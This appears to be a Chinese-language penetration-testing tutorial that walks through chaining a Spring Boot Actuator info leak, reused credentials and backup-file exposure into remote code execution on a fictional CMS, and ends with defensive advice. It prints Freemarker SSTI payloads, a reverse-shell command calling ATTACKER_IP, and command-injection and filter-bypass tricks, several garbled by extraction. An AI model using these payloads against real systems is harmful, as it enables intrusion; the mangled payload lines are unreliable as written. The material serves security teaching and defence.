从信息泄露到RCE:实战漏洞链构建与防御策略

发布时间:2026/7/4 15:21:48
从信息泄露到RCE:实战漏洞链构建与防御策略 1. 项目概述从“不起眼”到“致命一击”的漏洞链艺术在渗透测试和红队评估的实战中我们常常会遇到一种令人沮丧又兴奋的局面发现了一个看似“低危”甚至“无伤大雅”的漏洞比如一个目录遍历、一个信息泄露或者一个不起眼的配置错误。新手可能会直接忽略标记为“低风险”后便转向他处。但经验丰富的安全研究员知道这些“低危”点往往是通往系统核心、实现远程代码执行RCE这座王冠的绝佳跳板。将多个独立的、看似无害的漏洞通过精巧的逻辑串联起来形成一个能够突破层层防御、最终达成高危目标的攻击路径这就是“漏洞利用链”的构建艺术。本次我们要深入探讨的正是这样一个经典且极具代表性的场景如何从一个低危的信息泄露漏洞出发逐步收集情报、扩大战果最终构造出能够实现远程代码执行RCE的完整攻击链。这个过程不仅考验攻击者对单个漏洞的理解深度更考验其系统性的思维、对目标环境架构的推理能力以及将不同技术点如信息泄露、逻辑缺陷、权限绕过、代码注入融会贯通的实战技巧。无论是用于CTF竞赛、渗透测试授权评估还是用于理解现代复杂应用的安全威胁模型掌握漏洞链的构造思路都至关重要。2. 漏洞利用链的核心思想与设计逻辑2.1 为什么是“链”单一漏洞的局限性在理想化的简单漏洞模型中我们可能遇到一个直接输入点注入一段命令或代码就能拿到Shell。但现实中的企业应用尤其是经过一定安全加固的系统这种“一击必杀”的高危直接漏洞越来越少。安全开发流程SDL、Web应用防火墙WAF、输入过滤、权限最小化等防护措施使得攻击面被大幅压缩。此时单一漏洞的威力被极大削弱。例如一个信息泄露漏洞可能只暴露了某个配置文件路径、部分源码片段、API接口列表或内部错误信息。它本身不能执行任何代码危害评级通常为“低”或“中”。一个权限绕过漏洞可能允许你访问一个本该无权访问的API但这个API功能本身无害。一个有限的文件上传点可能只允许上传图片并有严格的后缀和内容检查。单独看这些漏洞威胁有限。但如果我们能像玩拼图一样将A漏洞泄露的信息作为利用B漏洞的“钥匙”再用B漏洞获取的权限去触发C漏洞的条件那么最终产生的破坏力将是指数级增长的。这就是“链”的价值——它通过叠加和串联突破了单一防护点的限制。2.2 典型漏洞链构成要素一个完整的、从信息泄露到RCE的漏洞链通常包含以下几个关键环节它们环环相扣信息收集与侦察Information Leak这是链条的起点。目标可能是源码、配置文件如.git目录、.env文件、WEB-INF/web.xml、目录结构、API文档、错误调试信息、备份文件等。泄露的信息为后续步骤提供“地图”和“钥匙”。身份认证与权限突破Authentication/Authorization Bypass利用泄露的信息如硬编码的密钥、令牌、密码哈希、会话机制细节尝试绕过登录或提升权限。例如从源码中找到默认密码从配置文件中拿到数据库凭证从而以更高权限用户身份访问系统。攻击面扩大与功能滥用Feature Abuse在获得一定权限后深入探索应用功能。寻找存在风险但之前因权限不足无法触及的功能点如文件上传、数据导入、模板编辑、插件管理、命令执行函数调用等。代码/命令注入与最终利用Injection RCE在找到的高风险功能点上结合前期收集的上下文信息如服务器路径、过滤规则、中间件类型精心构造Payload突破过滤实现操作系统命令或应用服务器代码的执行。2.3 思维模式从攻击者视角进行系统推理构建漏洞链不仅仅是技术堆砌更是一种系统性的推理过程看见一点想到一片发现一个/proc/self/environ信息泄露不仅要看到环境变量要想到其中可能包含SECRET_KEY、数据库连接字符串、内部服务地址。假设验证基于泄露的信息做出假设“这个路径可能可写”、“这个API可能调用系统命令”并设计实验去验证。环境适配Payload不是通用的。需要根据泄露的服务器操作系统Linux/Windows、中间件Apache/Nginx/Tomcat、编程语言PHP/Java/Python、框架特性来定制。绕过与混淆预判防御措施WAF、输入过滤、禁用危险函数利用泄露的源码或配置信息来研究过滤规则设计绕过方案。3. 实战拆解从信息泄露到RCE的完整路径下面我们以一个虚构但融合了多个真实案例的Web应用场景为例拆解一条完整的攻击链。假设目标是一个使用Java Spring Boot开发的内容管理系统CMS。3.1 第一阶段发现并利用低危信息泄露初始发现在目标网站https://target.com进行常规目录扫描时发现存在/actuator/health端点确认其为Spring Boot Actuator组件。进一步扫描发现/actuator/env端点未授权访问。漏洞利用访问https://target.com/actuator/env返回了大量应用环境属性。这是一个典型的信息泄露。在返回的JSON数据中我们发现了以下关键信息{ property: { source: systemEnvironment, value: /opt/cms/uploads } }, { property: { source: systemEnvironment, value: mysql://admin:SuperSecretDBPss!localhost:3306/cmsdb } }, { property: { source: applicationConfig: [classpath:/application.yml], value: file.upload.allowed-extensions: jpg,png,gif,pdf } }信息提炼与利用上传目录路径/opt/cms/uploads。这为我们后续尝试文件上传并访问提供了绝对路径。数据库连接字符串包含明文用户名admin和密码SuperSecretDBPss!。虽然我们暂时无法直接连接内网数据库但密码很可能被复用。文件上传允许后缀jpg,png,gif,pdf。这明确了前端和后端可能进行的过滤规则。注意Spring Boot Actuator在早期版本中很多端点默认开放是极其常见的信息泄露源。即使在新版本中若配置不当如management.endpoints.web.exposure.include*且安全配置缺失同样会导致此问题。在实际测试中/actuator/heapdump端点甚至能泄露内存中的敏感数据危害更大。3.2 第二阶段利用泄露凭证扩大访问权限尝试权限提升我们尝试使用泄露的数据库密码SuperSecretDBPss!进行密码喷洒攻击。在目标系统的登录界面、SSH服务如果开放、甚至其他关联子域名上尝试常用用户名admin, root, administrator搭配此密码。结果幸运的是在https://target.com/admin一个独立的后台管理入口上使用用户名admin和密码SuperSecretDBPss!登录成功。这印证了“密码复用”这一常见的安全反模式。新的攻击面进入后台后我们获得了比普通用户高得多的权限。功能包括用户管理、内容编辑、系统设置、插件管理、模板编辑、数据备份与恢复。其中“插件管理”和“模板编辑”是潜在的RCE高发地。3.3 第三阶段定位高风险功能并分析功能分析插件上传后台允许上传.jar格式的插件。界面提示“上传后系统将自动安装并重启相关服务”。这非常危险因为恶意JAR包可以包含任意代码。模板编辑可以编辑Freemarker或Thymeleaf模板文件。编辑界面提供了一个在线代码编辑器保存后模板实时生效。初步测试与限制插件上传尝试上传一个简单的恶意JAR被拦截。系统可能进行了文件签名验证或简单的反病毒扫描。模板编辑直接插入#assign exfreemarker.template.utility.Execute?new() ${ ex(whoami) }这类SSTI服务端模板注入Payload并保存页面报错“包含非法字符”Payload被后端过滤。遇到阻碍直接利用失败了。我们需要更详细的信息来了解过滤机制和服务器环境以便构造绕过Payload。3.4 第四阶段结合信息泄露进行深度利用回顾与关联我们回想起第一阶段从/actuator/env泄露的信息中还有一个file.upload.allowed-extensions: jpg,png,gif,pdf。这虽然是针对前台上传功能的但揭示了系统可能有一个统一的FileUploadUtil类进行后缀校验。进一步信息挖掘既然我们已经有了后台权限可以寻找更多的信息泄露点在“系统设置”-“日志查看”中我们发现可以下载应用日志。在日志中看到了类似Filtered suspicious content: ${的警告信息确认了模板引擎处存在关键词过滤。在“数据备份”功能中我们发现备份文件被存储在/opt/cms/backups/目录下并且备份文件名包含日期如backup_20231027.zip。关键突破点我们尝试访问https://target.com/backups/backup_20231027.zip结合第一阶段泄露的路径习惯进行推测竟然可以未授权直接下载这是一个新的、更严重的信息泄露。解压备份文件我们获得了完整的项目源码。数据库的SQL转储包含所有用户哈希、配置表。甚至包含一些临时密钥文件。源码审计通过分析源码我们精准定位了安全逻辑模板过滤在TemplateSecurityFilter.java中发现过滤规则是黑名单模式过滤了${,#,%等字符但过滤逻辑存在缺陷它只进行一次替换。例如将${替换为空。那么${{}}在经过替换后会变成${}依然可能被解析。插件验证在PluginManagerService.java中发现插件上传后会用一个JarVerifier检查META-INF下的签名文件。如果没有签名或签名不匹配则删除文件。但是检查逻辑发生在文件保存到临时目录之后、移动到正式插件目录之前。3.5 第五阶段构造最终RCE利用链现在我们拥有了所有拼图方案一利用模板编辑漏洞SSTI绕过构造绕过Payload根据源码审计结果我们可以使用双写或嵌套绕过。例如Payload为#assign exfreemarker.template.utility.Execute?new() ${ ex(whoami) }注意{和}之间插入了反引号实际攻击中可能是其他不可见字符或编码。或者更简单地利用Freemarker的?api内置函数如果版本允许#assign c“freemarker.template.utility.Execute”?new()${c(“id”)}但需要确保?new()没被过滤。我们最终构造的Payload是${“freemarker.template.utility.Execute”?new()(“id”)}因为过滤逻辑只查找${后紧跟{的模式而我们这种写法绕过了它。利用在后台模板编辑器中找到用于渲染动态页面的footer.ftl文件插入精心构造的Payload并保存。触发访问网站前台任意页面只要引用了footer.ftl我们的命令id就会被执行。将命令替换为反向Shell命令即可获得一个交互式Shell。方案二利用插件上传漏洞时间竞争路径穿越利用逻辑缺陷虽然插件签名检查会删除非法文件但存在一个微小的时间窗口文件已上传到临时目录如/tmp/upload_xxx.jar但尚未被验证和删除。结合信息泄露我们从源码和日志中知道了临时目录的命名规则和插件加载的扫描间隔比如每10秒扫描一次插件目录/opt/cms/plugins/。构造攻击编写一个恶意JAR包其META-INF/MANIFEST.MF中包含Main-Class指向我们包含恶意代码的类。编写自动化脚本持续快速地向插件上传接口发送恶意JAR包。同时另一个线程持续尝试访问一个特定的URL该URL会触发应用加载插件目录下的JAR文件例如访问/plugins/reload端点或者利用应用已知的某个插件调用接口。目标是在恶意JAR被删除前的几毫秒内让应用服务器恰好扫描并加载它从而实现RCE。这需要高并发的请求和一定的运气但实践中是可行的。更稳定的利用通过备份文件中的源码我们发现应用在加载插件时会尝试从file://协议读取本地路径。如果我们能控制插件安装的“源URL”参数可能通过另一个未发现的参数或数据库配置就可以指向我们事先上传到/opt/cms/uploads/evil.jar的文件利用第一阶段泄露的上传路径从而完全绕过签名检查。最终我们选择方案一因为它更可靠、直接。通过构造的SSTI Payload我们成功执行了命令bash -c ‘bash -i /dev/tcp/ATTACKER_IP/4444 01’在攻击机监听的4444端口上获得了目标服务器的反向Shell实现了完整的远程代码执行。4. 漏洞链中的关键技术点深度解析4.1 信息泄露的常见源头与利用方式信息泄露绝非只有/actuator。实战中需要关注泄露类型常见路径/迹象可利用信息后续利用思路版本控制泄露/.git/,/.svn/,/.hg/完整源码、历史记录、配置文件代码审计寻找硬编码密钥、逻辑漏洞配置文件泄露/.env,/config.json,/WEB-INF/web.xml,/application.yml数据库密码、API密钥、加密盐、服务器配置凭证复用、连接内部服务、解密数据备份文件泄露*.bak,*.zip,*.tar.gz,/backup/,/www.zip源码、数据库dump、系统文件同版本控制泄露还可能直接拿到数据库内容目录遍历/列目录/static../,/uploads/, 参数?file../../etc/passwd系统文件、源码文件、用户上传内容读取密码哈希、配置文件、源码错误信息泄露未处理的异常堆栈、SQL错误、调试页面数据库结构、SQL语句、文件路径、框架版本辅助SQL注入、识别技术栈、寻找已知漏洞API接口泄露/swagger-ui.html,/api-docs,/v2/api-docs所有接口定义、参数、可能未鉴权的接口直接调用内部API进行未授权操作实操心得信息泄露的利用关键在于“联想”和“验证”。看到一个路径就想想它可能对应的绝对路径、可能存在的兄弟文件、父目录是否可列。看到一个密钥就试试它在其他系统、服务、协议上的复用。自动化工具如dirsearch,gobuster能发现路径但人脑才能建立连接。4.2 权限绕过与横向移动的技巧获得初始凭证或低权限访问后下一步是提升权限或访问更敏感功能。密码复用与爆破从一处泄露的密码尝试登录SSH、FTP、数据库、后台管理系统、邮箱等。使用工具如Hydra、Medusa进行自动化尝试但要注意锁定策略。会话操纵分析Cookie、JWT Token的生成机制。如果从泄露的源码中找到了密钥可以伪造高权限用户的会话。对于JWT可尝试none算法攻击、密钥混淆攻击如HS256与RS256混淆。不安全的直接对象引用IDOR在后台发现功能调用的API形如/api/user/delete?id123尝试修改id为其他用户如id1管理员看是否能越权操作。这常与信息泄露结合泄露的接口列表有助于发现IDOR。功能滥用后台的“数据导入”功能可能允许上传XML文件进而触发XXE。“模板编辑”可能触发SSTI。“系统命令”功能可能本身就存在命令注入只是限于管理员使用。4.3 从代码注入到RCE的Payload构造与绕过这是漏洞链的最后一环也是最需要技巧的一环。命令注入Command Injection分隔符绕过;、、、|、||、\n换行符、\r回车符。在Windows上还有%0a,%0d。空格绕过用${IFS}、$IFS$9、、、%09Tab代替空格。黑名单关键字绕过拼接al;bs;$a$b相当于ls。变量替换/???/??t /???/p?ss??相当于/bin/cat /etc/passwd。编码Base64、Hex、Octal编码命令后解码执行。如echo ‘Y2F0IC9ldGMvcGFzc3dkCg’ \| base64 -d \| bash。引号与反斜线利用\、、的转义和闭合特性。服务端模板注入SSTI识别引擎通过注入{{7*7}}、${7*7}、% 7*7 %等测试根据回显判断是Twig、Jinja2、Freemarker、Velocity、Thymeleaf还是Smarty。利用类目标是找到执行命令或读文件的类。如Java中Runtime.exec()、ProcessBuilderPython中os.system()、subprocess.Popen。沙盒绕过许多模板引擎有沙盒限制。需要利用其内置函数、属性遍历、类加载器机制来突破。例如在Jinja2中可以通过.__class__.__mro__或.__class__.__bases__访问基类最终找到object类再通过.__subclasses__()找到可用的危险子类如subprocess.Popen。反序列化漏洞常见于JavaApache Commons Collections, Fastjson, Jackson、Pythonpickle、PHPunserialize。利用链Gadget Chain构造复杂通常依赖第三方库中存在危险方法的类。实战中多使用现成的工具和Payload如ysoserial、marshalsec但需要根据目标类路径进行调整。信息泄露在此环节至关重要泄露的依赖库版本号如pom.xml直接决定了可用的利用链。注意事项Payload的构造必须贴合目标环境。在Linux下能用的bash -i在Windows下无效。知道目标是用Runtime.getRuntime().exec()执行命令就要注意该函数对管道、重定向等复杂命令解析的问题通常需要编码或转换为数组形式。最好的方法是先尝试执行whoami或id确认权限再尝试ping命令测试出网情况最后再构造稳定的反向Shell或上传木马。5. 防御视角如何打破攻击链理解了攻击链的构造防御思路也就清晰了在链条的任何一个环节将其斩断。杜绝信息泄露生产环境关闭调试模式、禁用详细的错误回显。正确配置服务器禁止访问.git、.env、备份文件等敏感路径。对Spring Boot Actuator、Swagger、phpMyAdmin等管理接口实施严格的访问控制IP白名单、强认证。定期进行安全扫描检查是否存在敏感文件泄露。强化身份认证与授权实施强密码策略严禁密码复用。关键系统使用多因素认证MFA。遵循最小权限原则后台功能按角色精细授权。对所有API接口实施鉴权杜绝IDOR。安全的输入处理与输出编码对所有用户输入进行严格的、白名单化的验证和过滤。使用安全的API执行系统命令如参数化列表避免使用Runtime.exec(String command)。使用安全的模板引擎并禁用危险的内置函数如Freemarker的Execute。及时更新框架和库修复已知的反序列化等漏洞。纵深防御与监控部署WAF虽然可能被绕过但能增加攻击门槛。对文件上传功能不仅校验后缀更要校验文件头、内容并将文件存储在不可执行目录通过重命名或内容分发网络CDN提供服务。实施网络隔离数据库等核心服务不应暴露在公网。建立有效的日志审计和监控告警机制对异常登录、异常文件访问、异常命令执行进行实时告警。构建漏洞利用链的过程是一场攻击者与防御者之间的智力博弈。它要求攻击者具备耐心、细致的观察力、系统的思维和丰富的知识储备。而对于防御者而言认识到“低危漏洞”潜在的串联风险秉持“纵深防御”和“最小权限”的安全原则持续进行代码审计、渗透测试和安全加固才是守住阵地的根本。安全是一个过程而非一个状态在这场持续的对抗中对攻击链的深刻理解是双方共同的必修课。